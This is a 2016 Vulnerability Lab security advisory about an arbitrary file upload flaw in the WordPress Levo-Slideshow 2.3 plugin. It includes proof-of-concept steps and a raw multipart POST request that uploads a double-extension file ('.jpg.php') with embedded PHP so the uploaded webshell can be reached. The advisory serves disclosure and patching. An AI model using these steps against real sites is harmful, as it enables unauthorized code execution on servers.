[FD] Wordpress Levo-Slideshow 2.3 - Arbitrary File Upload Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
Wordpress Levo-Slideshow 2.3 - Arbitrary File Upload Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1854


Release Date:
=============
2016-06-07


Vulnerability Laboratory ID (VL-ID):
====================================
1854


Common Vulnerability Scoring System:
====================================
7.5


Product & Service Introduction:
===============================
Make sure you have a Levo slideshow a very effective technique to display 
unlimited number of product images within a single 
box and just takes only few minutes to accomplish without getting too much into 
coding. No WP slider plugin has become as 
wide-spread and as popular recently as this particular free WP Levo slider, 
offering a marvelous method for displaying a lot 
of content in such a minimal space, and to mention also a great way to 
highlight your best and most popular product images 
or articles in an enhanced way. And on top off all that, this indispensable, 
yet smooth and free WP slider plugin is incorporated 
with amazing set of features including a colossal space set aside to main flash 
image, a miniature sized image, image reflection 
option, description box with title, navigation arrows, auto-play/pause button, 
auto play timer into your WP powered websites or blogs.

(Copy of the Homepage: http://wpslideshow.com/levo-slidehsow/ )


Abstract Advisory Information:
==============================
An independent Vulnerability Laboratory Researcher discovered a arbitrary file 
upload vulnerability in the Wordpress Levo-Slideshow v2.3  plugin.


Vulnerability Disclosure Timeline:
==================================
2016-06-07:    Public Disclosure (Aaditya Purani)


Discovery Status:
=================
Published


Affected Product(s):
====================
Go Responsive (Themes)
Product: Levo-Slideshow - Wordpress Plugin (Web-Application) 2.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An arbitrary file upload web vulnerability has been discovered in the official 
Levo-Slideshow v2.3 wordpress plugin web-application.
The vulnerability allows remote attackers to upload files via POST method with 
multiple extensions to unauthorized access them on 
application-side of the service.

The vulnerability is located in the "admin.php" file when processing to upload 
via the admin.php file own malicious context or webshells. 
After the upload the remote attackers are able to access the file with one 
extension and exchange it with the another one to execute for 
example php codes.

The security risk of the vulnerability is estimated as high with a cvss (common 
vulnerability scoring system) count of 7.5. 
Exploitation of the arbitrary file upload vulnerability requires no user 
interaction and an unprivileged application user account.
Successful exploitation of the vulnerability results in unauthorized file 
access via arbitrary file upload exploitation.

Vulnerable Application(s):
                                [+] Wordpress Levo-Slideshow v2.3

Vulnerable Module(s):
                                [+] /wordpress/wp-admin/

Vulnerable File(s):
                                [+] admin.php

Affected Module(s):
                                [+] 
/uploads/levoslideshow/[ALBUM_NUMBER]_uploadfolder/big/


Proof of Concept (PoC):
=======================
The arbitrary file upload web vulnerability can be exploited by remote 
attackers without user interaction and with an uprivileged application user 
account.
For security demonstration or  to reproduce the vulnerability follow the 
provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Login as an unprivileged user, which has no privilege of even uploading a 
plugin
2. Go to http://site.com/wp-admin/admin.php?page=levoslideshow_manage
3. If any Gallery exists than don't create and go to "Category Management"
4. Click on "Add New", Upload any .png / ,jpg image from your PC and intercept 
the request
5. After Intercepting the request while upload, Send request to Repeater
6. Change filename = image.png.php  and in $POST image data add your PHP 
Backdoor between image chunk . It should look like this 
http://postimg.org/image/ih4lwyad7/
7. Forward the request and go to 
site.com/wp-content/uploads/levoslideshow/[ALBUM_NUMBER]_uploadfolder/big/[YourShell]
 to access your shell
8. Successful reproduce of the vulnerability!


PoC: Exploitation
$GET: 
http://127.0.0.1/wordpress/wp-admin/admin.php?page=levoslideshow_manage&view=manage_album&album_id=1


--- PoC Session Logs [POST] ---
$POST: -----------------------------13856199112125898801554614298rn
Content-Disposition: form-data; name="task"rn
rn
lvo_single_image_uploadrn
-----------------------------13856199112125898801554614298rn
Content-Disposition: form-data; name="album_id"rn
rn
1rn
-----------------------------13856199112125898801554614298rn
Content-Disposition: form-data; name="image_title"rn
rn
Okaiern
-----------------------------13856199112125898801554614298rn
Content-Disposition: form-data; name="image_description"rn
rn
Hackedrn
-----------------------------13856199112125898801554614298rn
Content-Disposition: form-data; name="image_file"; filename="aadityaa.jpg.php"rn
Content-Type: image/jpegrn
rn
Garbaged PNG codes....
<?php phpinfo(); ?>
again Garbage Png code..
....

Note: I am Uploading a Real png image first, intercepting it's request, Sending 
to Repeater and adding PHP Backdoor withing the chunks 
of PNG image as i shown in image of above PNG. and access shell :
site.com/wp-content/uploads/levoslideshow/[ALBUM_NUMBER]_uploadfolder/big/[Shell.png.php]


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the file extension.  
Restrict  the extensions and strip codes out of all image files. After 
validation force the script to use an image extension.



Security Risk:
==============
The security risk of the arbitrary file upload web vulnerability in the 
wordpress plugin is estimated as high. (CVSS 7.5)


Credits & Authors:
==================
Aaditya Purani - (https://aadityapurani.com) 
[http://www.vulnerability-lab.com/show.php?user=Aaditya%20Purani]


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=========================
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